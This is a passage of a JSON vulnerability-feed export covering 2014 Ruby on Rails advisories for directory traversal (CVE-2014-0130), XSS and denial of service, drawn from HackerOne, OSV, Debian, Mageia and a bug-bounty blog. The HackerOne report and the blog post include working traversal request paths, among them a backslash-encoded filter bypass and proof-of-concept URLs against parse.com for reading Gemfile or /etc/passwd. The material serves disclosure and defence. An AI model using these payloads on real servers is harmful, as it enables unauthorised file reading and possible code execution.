"cpe:2.3:a:rubyonrails:rails:0.12.1:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:cloudforms:3.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:0.5.5:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:1.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:2.3.13:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.0:beta3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.2:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.9:rc4:*:*:*:*:*:*"]}], "hackerone": [{"lastseen": "2018-08-31T00:39:17", "bounty": 1500.0, "description": "There seems to be two cases that allow directory traversal when using wildcard URL segments that allow rendering view outside view paths.\r\n\r\nFor example, let say there is a route\r\n\r\n\tget '/help/(*action)\u2019, controller: \u2018help\u2019\r\n\r\nand a matching controller\r\n\r\n\tclass HelpController < ApplicationController\r\n\tend\r\n\r\nThis renders all views that are in 'app/views/help\u2019 (assuming default view paths) even when matching action method is not defined.\r\n\r\nIf an attacker made a request `GET /help/../../../Gemfile`, ActionView::FileSystemResolver returns Gemfile from project root as the matching view. This simple case can be prevented using Rack::Protection::PathTraversal middleware, but it is not enabled by default in Rails. Also, there could be other mechanisms that may result in rendering views that are outside view path. Not sure if that\u2019s the expected behaviour, but this surprised me.\r\n\r\nHowever, Rack::Protection::PathTraversal can be bypassed using backslashes: `GET /help/%5c../%5c../%5c../Gemfile`. The resolver uses Dir.glob, which escapes backslashes unless File::FNM_NOESCAPE flag is used. Rack::Protection::PathTraversal won\u2019t intercept `'\\../'` and the resolver treats `'\\../`' as `'../'`.\r\n\r\nAttached are fixes for the mentioned vulnerabilities with test cases.", "edition": 2, "cvss3": {}, "published": "2014-03-06T11:13:20", "type": "hackerone", "title": "Ruby on Rails: Directory traversal attack in view resolver", "bulletinFamily": "bugbounty", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0130"], "modified": "2015-07-09T19:15:27", "id": "H1:3370", "href": "https://hackerone.com/reports/3370", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}], "osv": [{"lastseen": "2022-05-18T05:35:40", "description": "Directory traversal vulnerability in actionpack/lib/abstract_controller/base.rb in the implicit-render implementation in Ruby on Rails before 3.2.18, 4.0.x before 4.0.5, and 4.1.x before 4.1.1, when certain route globbing configurations are enabled, allows remote attackers to read arbitrary files via a crafted request.", "cvss3": {}, "published": "2017-10-24T18:33:36", "type": "osv", "title": "Moderate severity vulnerability that affects actionpack", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0130"], "modified": "2022-05-18T04:18:55", "id": "OSV:GHSA-6X85-J5J2-27JX", "href": "https://osv.dev/vulnerability/GHSA-6x85-j5j2-27jx", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-05-18T05:35:44", "description": "actionpack/lib/action_view/template/text.rb in Action View in Ruby on Rails 3.x before 3.2.17 converts MIME type strings to symbols during use of the :text option to the render method, which allows remote attackers to cause a denial of service (memory consumption) by including these strings in headers.", "cvss3": {}, "published": "2017-10-24T18:33:36", "type": "osv", "title": "Moderate severity vulnerability that affects actionpack", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0082"], "modified": "2022-05-18T04:18:48", "id": "OSV:GHSA-7CGP-C3G7-QVRW", "href": "https://osv.dev/vulnerability/GHSA-7cgp-c3g7-qvrw", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-05-18T05:36:11", "description": "Multiple cross-site scripting (XSS) vulnerabilities in actionview/lib/action_view/helpers/number_helper.rb in Ruby on Rails before 3.2.17, 4.0.x before 4.0.3, and 4.1.x before 4.1.0.beta2 allow remote attackers to inject arbitrary web script or HTML via the (1) format, (2) negative_format, or (3) units parameter to the (a) number_to_currency, (b) number_to_percentage, or (c) number_to_human helper.", "cvss3": {}, "published": "2017-10-24T18:33:36", "type": "osv", "title": "Moderate severity vulnerability that affects rails", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0081"], "modified": "2022-05-18T04:18:15", "id": "OSV:GHSA-M46P-GGM5-5J83", "href": "https://osv.dev/vulnerability/GHSA-m46p-ggm5-5j83", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "websecuritylog": [{"lastseen": "2021-07-28T14:40:24", "description": " \n--- \n**[http://parse.com](<http://parse.com/>) directory traversal vulnerability**| \n \n \n \n \n\n\n \n\n\n### Little Insight: \n\n \n \nhttp://parse.com was vulnerable to a directory traversal / RCE vulnerability. As a result, it was possible for an attacker to load web server-readable files from the local filesystem. or Run commend on That \n \nWell this is my 4th reward form facebook Directory Traversal or RCE Vulnerability \n \nThat give me 5th position in Facebook white-hat Page \n \nReport Date :23 July 2014 \n \nReward For Directory Traversal or RCE Vulnerability : **~~20000$~~** \n \n \n\n\n### How This work......?\n\n \nAs we discussed earlier on my old post [Flowdock Directory Traversal Vulnerability](<http://www.websecuritylog.com/2014/08/flowdock-web-security-bug-bounty.html>) exposed files outside of Rails\u2019 view paths. `'%5C'` turns into `'\\'` after decoding. Using[ Rack::Protection](<https://github.com/rkh/rack-protection>) it only rejects `'/../'` segments in the request path. \n \npatch apply for [Rack::Protection](<https://github.com/rkh/rack-protection>) acording CVE-2014-0130 and also Reject now `'%5C'` turns into `'\\'` after decoding \n \nnow my work .... \n \n \n \n\n\n### **My Finding.... **\n\n \n \n \nIn the above summary ( CVE-2014-0130 ) it rejects `'/../'` segments in the request path and path is also sanitized to filter out malicious characters like \"..%5c\", \n \nnow m try to bypass filter with \" \\\\../ or \\\\..%2f \" segments in the request path more details i am disclose in next post ruby on rails Rack::Protection bypass effected on old version \n \npatch version you can use 4.1.1, 4.0.5, 3.2.18 \n \n \nNow` `coming back to Parse.com Facebook Acquisitions \n \n \n \nhere is the proof of concept that I included with bug LFI/RCE. It displayed the contents of the /etc/passwd Or /Gemfile of the **[http://parse.com](<http://parse.com/>)** server \n \nMore Then 5 pages Vulnerable on parse.com with same vector \n \n**one of them ** \n \nPoc Url : [https://parse.com/about/\\\\..%2f\\\\..%2f\\\\..%2fGemfile](<https://parse.com/about/%5C..%2f%5C..%2f%5C..%2fGemfile>) \n \n \n \n \n\n\n[](<http://3.bp.blogspot.com/-h8-C1YQ8aEs/VES8KrGpsII/AAAAAAAAAFc/69phBMQ1Au0/s1600/2.JPG>)\n\n \n \n \n After some time \n \ni am found how to convert ruby on rails LfI in remote code execution or Shell \n \nThanks to **Jeff Jarmoc** for great Article on remote code execution or Shell That make possible to make Rce on parse.com \n \nPOC URL : [https://parse.com/about/\\\\..%2f\\\\..%2f\\\\..%2fproduction .log?codetoexec=?](<https://parse.com/about/%5C..%2f%5C..%2f%5C..%2fproduction%20.log?codetoexec=?>) \n \n \n\n\n \n \n\n\n### More about :\n\n \n\n\n \nThe vulnerability mentioned here has been confirmed &amp; fixed by Facebook Team.\n\n \n\n\nI\u2019would like to thank **Jeff Jarmoc** for such a great article and Neal for handling this issue and the vulnerability was patched and the fix was deployed in production within 2 hour after my initial report. \n \n \nWell this is my 4th reward form facebook Directory Traversal or RCE Vulnerability \n \nThat give me 5th position in Facebook white-hat \n \n \n \n\n\n[](<http://3.bp.blogspot.com/-rg-qgSnTjjQ/VEUHLP5C25I/AAAAAAAAAG4/gQtjojM-q4s/s1600/BvDG2d1CEAArTzE.jpg%2Blarge.jpg>)\n\n \n \n \nyou can also meet me \n \n[FACEBOOK](<https://www.facebook.com/Desihack>) \n \n[TWITTER](<https://twitter.com/jeetjaiswal22>) \n\n\n### ** **\n\n###", "cvss3": {}, "published": "2014-10-20T08:32:00", "type": "websecuritylog", "title": "Facebook Web Security Bug Bounty: Directory Traversal Vulnerability / RCE In Parse.com", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0130"], "modified": "2014-10-21T07:44:09", "id": "WEBSECURITYLOG:60132FFDF01927FD86A9BBC0859E43E9", "href": "http://www.websecuritylog.com/2014/10/facebook--bug-bounty.html", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}], "metasploit": [{"lastseen": "2021-06-13T16:22:12", "description": "\n", "edition": 2, "published": "1976-01-01T00:00:00", "type": "metasploit", "title": "SUSE: CVE-2014-0082: SUSE Linux Security Advisory", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0082"], "modified": "1976-01-01T00:00:00", "id": "MSF:ILITIES/SUSE-CVE-2014-0082/", "href": "", "sourceData": "", "sourceHref": "", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2021-06-13T16:21:57", "description": "\n", "edition": 2, "published": "1976-01-01T00:00:00", "type": "metasploit", "title": "SUSE: CVE-2014-0081: SUSE Linux Security Advisory", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0081"], "modified": "1976-01-01T00:00:00", "id": "MSF:ILITIES/SUSE-CVE-2014-0081/", "href": "", "sourceData": "", "sourceHref": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "debiancve": [{"lastseen": "2022-05-02T07:34:12", "description": "actionpack/lib/action_view/template/text.rb in Action View in Ruby on Rails 3.x before 3.2.17 converts MIME type strings to symbols during use of the :text option to the render method, which allows remote attackers to cause a denial of service (memory consumption) by including these strings in headers.", "cvss3": {}, "published": "2014-02-20T15:27:00", "type": "debiancve", "title": "CVE-2014-0082", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0082"], "modified": "2014-02-20T15:27:00", "id": "DEBIANCVE:CVE-2014-0082", "href": "https://security-tracker.debian.org/tracker/CVE-2014-0082", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-05-02T07:34:12", "description": "Multiple cross-site scripting (XSS) vulnerabilities in actionview/lib/action_view/helpers/number_helper.rb in Ruby on Rails before 3.2.17, 4.0.x before 4.0.3, and 4.1.x before 4.1.0.beta2 allow remote attackers to inject arbitrary web script or HTML via the (1) format, (2) negative_format, or (3) units parameter to the (a) number_to_currency, (b) number_to_percentage, or (c) number_to_human helper.", "cvss3": {}, "published": "2014-02-20T15:27:00", "type": "debiancve", "title": "CVE-2014-0081", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0081"], "modified": "2014-02-20T15:27:00", "id": "DEBIANCVE:CVE-2014-0081", "href": "https://security-tracker.debian.org/tracker/CVE-2014-0081", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "rubygems": [{"lastseen": "2022-03-17T15:51:30", "description": "actionpack/lib/action_view/template/text.rb in Action View in Ruby on Rails 3.x before 3.2.17 converts MIME type strings to symbols during use of the :text option to the render method, which allows remote attackers to cause a denial of service (memory consumption) by including these strings in headers.", "cvss3": {}, "published": "2014-02-18T00:00:00", "type": "rubygems", "title": "CVE-2014-0082 rubygem-actionpack: Action View string handling denial of service", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["2014-0082", "CVE-2014-0082"], "modified": "2014-02-18T00:00:00", "id": "RUBY:ACTIONPACK-2014-0082-103440", "href": "https://rubysec.com/advisories/2014-0082/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-03-17T15:51:30", "description": "Multiple cross-site scripting (XSS) vulnerabilities in actionview/lib/action_view/helpers/number_helper.rb in Ruby on Rails before 3.2.17, 4.0.x before 4.0.3, and 4.1.x before 4.1.0.beta2 allow remote attackers to inject arbitrary web script or HTML via the (1) format, (2) negative_format, or (3) units parameter to the (a) number_to_currency, (b) number_to_percentage, or (c) number_to_human helper.", "cvss3": {}, "published": "2014-02-18T00:00:00", "type": "rubygems", "title": "CVE-2014-0081 rubygem-actionpack: number_to_currency, number_to_percentage and number_to_human XSS vulnerability", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["2014-0081", "CVE-2014-0081"], "modified": "2014-02-18T00:00:00", "id": "RUBY:ACTIONPACK-2014-0081-103439", "href": "https://rubysec.com/advisories/2014-0081/", "cvss": {"score": 0.0, "vector": "NONE"}}], "mageia": [{"lastseen": "2022-04-18T11:19:34", "description": "Updated ruby-actionpack and ruby-activerecord packages fix security vulnerabilities: Directory traversal vulnerability in actionpack/lib/abstract_controller/base.rb in the implicit-render implementation in Ruby on Rails before 4.0.5, when certain route globbing configurations are enabled, allows remote attackers to read arbitrary files via a crafted request (CVE-2014-0130). PostgreSQL supports a number of unique data types which are not present in other supported databases. A bug in the SQL quoting code in ActiveRecord in Ruby on Rails before 4.0.7 can allow an attacker to inject arbitrary SQL using carefully crafted values (CVE-2014-3483). The associated Ruby on Rails packages have been updated to version 4.0.8, to address these and other issues. \n", "cvss3": {}, "published": "2014-07-26T13:09:43", "type": "mageia", "title": "Updated ruby-actionpack packages fix security issues\n", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0130", "CVE-2014-3483"], "modified": "2014-07-26T13:09:43", "id": "MGASA-2014-0303", "href": "https://advisories.mageia.org/MGASA-2014-0303.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-04-18T11:19:34", "description": "Updated ruby-activerecord and ruby-actionpack packages fix security vulnerabilities: There is a data injection vulnerability in Active Record. Specially crafted strings can be used to save data in PostgreSQL array columns that may not be intended (CVE-2014-0080). There is an XSS vulnerability in the number_to_currency, number_to_percentage and number_to_human helpers in Ruby on Rails (CVE-2014-0081). The associated packages have been updated to version 4.0.3 to fix these issues. \n", "cvss3": {}, "published": "2014-04-24T19:02:23", "type": "mageia", "title": "Updated ruby-rails and associated packages fix multiple vulnerabilities\n", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0080", "CVE-2014-0081"], "modified": "2014-04-24T19:02:23", "id": "MGASA-2014-0191", "href": "https://advisories.mageia.org/MGASA-2014-0191.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}]}